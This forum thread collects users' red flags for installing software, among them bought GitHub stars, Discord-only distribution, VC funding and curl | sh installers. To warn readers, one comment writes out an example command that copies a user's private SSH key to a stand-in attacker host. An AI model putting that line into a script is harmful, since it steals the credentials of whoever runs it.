Have you ever found a GitHub project or anything that seemed nice and tempting to install until you dug a bit deeper?
What are some red flags that should detur anyone from installing and running something?
You must log in or # to comment.
Signing-in before being able to use a FREE software.
-glares at Canva after buying Affinity -
No stars (although easily manipulated)
No commit history
No issue history
No pr requests (soft no)
No contributions from people with a active history
Something I do is if a project has way too many stars, click on a few of the names randomly.
If those profiles have 0-1 projects, my yellow flag (not red flag) goes up. Because yeah, it’s really easy to buy GitHub stars now.
A rule of thumb I use is how desperate the software is to tell you the weather even when you never asked for it or even set it up to report it.
“Call us for pricing”
I can’t believe that marketing people are this fucking stupid.
Like, full-on knuckle-dragging morons.
They intentionally drive away more paying customers than they could ever “channelize” with this method.
Because most people realize that prices are only ever hidden for malicious, anti-consumer purposes.
Aaaaaand tab closed.
🚩 - here’s one
This comment scares me
Web browsers are software, they can render a red flag
If the project maintainer has a policy of “no politics allowed.”
Rather than a policy more along the lines of “be respectful”
100%.
Then you look through their history and it’s them laugh emojiing something like doing a LGBT suicide or some ridiculous shit.
Something I ran into just now was AI generated Imagery in Docs or as an Icon.
I am not even that Anti AI as many on here I feel like. But this is a sure fire way to show how much you don’t give a shit about your project. Just use emojis or some shit which is ironically even less work but somehow makes it seem more deliberate.I tried to explain that to my manager but he didn’t believe me
Bun seems cool, but it’s icon looks too much like slop
I don’t think it is. IIRC they had that before Image Generation was a thing. You really can’t tell though with the simple cute art style AI can very easily recreate.
GitHub repo that has “pm me on telegram” instead of code
join our discord
Venture capital funding. The plan is always to do a rug pull. Though if it properly freely licensed and the code is reasonable enough to be forked, it’s less worrying but still risky. It’s better to work with honest people.
This is why I avoid Bluesky
https://bsky.social/about/blog/03-19-2026-series-b
I didn’t know this about bluesky D:, but it makes sense. Thanks for the heads up. The atproto ecosystem seems to have cool features for user empowerment and it seems to work well on the few occasions I’ve visited atproto sites. I hope they can find an ethical way to persevere, but I can’t imagine that being easy.
Only Linux install option is .deb
do we not like Debian packages here?
If there is no Flatpak or AppImage it is not a serious project. There are many distros that are not debian or rpm based. Linux projects should be portable.
I like them because I’m old, and tired of distro-specific packages like rpm and deb. I want a thing that works no matter my distro of choice this week. The linux ecosystem is much larger than Debian.
you sound like an Ubuntu user.
Arch btw.
Ubuntu is debian-based.
Ubuntu is debian-based.
I know, that’s why it was funny.
Arch btw.
The repo does not actually contain the source code, instead a link to download from a different site.
Unless that different site is Codeberg.
Or git.gay or Bitbucket.com
curl | shinstallation method- vomit-colored website, vomit-colored developer avatars, or more obvious: AGENTS.MD in the repo
- compiling yourself is “unsupported”/“not recommended”
- the official website aggressively advertising the company’s SAAS which makes it look like their opensource software is actually paid product
- github issues using convoluted template, instead of letting me write freeform text
Noob here, what’s wrong with curl | sh installs?
Let’s say you curl bash something and it has ie ‘scp ~/.ssh/id_ed25519 badComputerGuy’ in it then you just uploaded your private key to the bad guys. And that’s why ssh keys should be password protected
The real answer is that user-agents can be used to show you one version in your browser and then serve you another one with curl.
I say “real” because all the idiots talking about “don’t run scripts from the internet!!!” probably forget they don’t decompile every binary they run. E.g. the rustup installer (the tool for managing Rust toolchains) is by default a curl+bash one liner. Why would I worry about them serving me a wrong script when I’m any way about to run their binary blob?
If you have any doubt about the hosting service (which might or not be the same as the software author!) then avoid piping into bash, but then why would you run their code at all if you distrust them so much? Do you expect github to install a keylogger? Probably not. Some telemetry hook to know whose running the requested script? Possibly someday
In THEORY they’re bad because the script could do malicious things and you shouldn’t blindly trust random people on the internet telling you what to execute.
In practice it’s mostly fearmongering because you’re likely trying to install a binary that could do malicious things anyways. “Mostly” because it is a bit less safe as one could MITM the script more easily or something, but not really by that much.
You shouldn’t run
curl | shscripts some random person sends you, but running an official script prom an official source is no more dangerous than running a .Deb file from that same source.As others have said, you are boldly trusting that the script you’re downloading is safe. ALWAYS examine a script before you pipe to bash. Also, open the script in your browser, the copy paste j to your terminal. It’s entirely possible to change the script based on use agent to display differently when your check in your browser versus when you pipe to bash
“Download this shell script from the web and execute it right away.”
Probably close to 80% of the words in the sentence are wrong.
It forces you to blindly trust that whatever script curl will download is save to run and does exactly what you want / was promised as it will be executed right away.
Some mature projects still do curl .sh, like pivpn and pihole.
which makes sense because they don’t maintain packages on the dozens of different package manager repos.
IMO it’s kind of bogus to knock a project for having a shell install file.
Eh, I’d be more sympathetic if there weren’t a dozen different alternatives to making this exclusively how people install your software.
It’s a virus delivery system waiting to happen. Especially now when you have AI that can help you stand up an imposter site quickly and easily.
it’s not the impact to the user having dozens of choices.
it’s the impact to the developer to having to maintain the packages for dozens of package repo admins that have each their own special requirements for packages that have to be followed. it’s a huge pita that most companies don’t even bother with and just run their own package repo.
IMO the user isn’t blameless when using an install script. anyone who just blindly runs arbitrary code without reading it is a fool asking to be attacked.
Exactly, it’s a shift in responsibilities from the developers of a thing to the users of that thing.
As a grunt at work and a mid-tier “money haver” at best, I’m tired of having everything shift its costs onto me and it’s a red flag that prevents me from installing and running a software package.
Everything around nowadays does this shift if they can get away with it.
I have to set limits on what I tolerate to achieve what gain or the world will leave me dead with a giant tire mark across my chest.
as a foss dev, your problems aren’t my problems.
It’s annoying that the Proxmox helper scripts are all curl | sh based.
-
It’s not already in my distro’s package manager
-
A github project with 1000 open issues and no commits for 3 years.
Ubuntus package repo is so out of date though. It’s such a pain in the ass.
You clearly haven’t seen Debian stable.
-
- New post about a promising selfhosted app
- looks inside
- em dashes, emojis, release in last 24h with 35 commits since.
I fucking swear, if only vibe coders would ACTUALLY write up their own posts about THEIR OWN SOFTWARE, many would not act harsh towards them as much as it happens.
Support only through a Discord server
Especially in the homebrew/modding world some even only distribute their stuff over discord. Which is an extra level of stupid. Dont think anything else can beat this.
Stalker Gamma comes to my mind, for that you had to join a discord in order to access the launcher, that launcher would auto download and install a bunch of mods for Stalker Anomaly into one big modded game.
Soma Assetto Corsa mod packs were only available to download through Discord, it was awful
I recently deleted my Discord account. This is an immediate nope for me.
Sadly way too many niche groups there and also fb for me to delete. I’d have nothing otherwise.
I just interact as little as possible and never install their software.
